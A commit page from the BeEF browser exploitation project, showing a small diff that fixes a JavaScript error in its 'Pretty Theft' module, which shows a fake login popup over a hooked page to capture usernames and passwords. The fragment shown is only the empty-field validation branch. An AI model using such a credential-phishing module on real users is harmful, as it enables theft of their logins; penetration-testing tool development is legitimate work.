Merge pull request #1956 from beefproject/pretty_theft_empty_credentials_error
Pretty Theft Missing Credentials JS Error
This commit is contained in:
@@ -93,9 +93,9 @@ beef.execute(function() {
|
||||
$j('#popup').remove();
|
||||
$j('#darkenScreenObject').remove();
|
||||
|
||||
}else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true"){
|
||||
} else if((uname1.length == 0 || pass1.length == 0) && valcheck == "true") {
|
||||
// If user has not entered any data, reset button
|
||||
document.body.lastChild.getElementById("buttonpress").value = "false";
|
||||
document.getElementById("buttonpress").value = "false";
|
||||
alert("Please enter a valid username and password.");
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user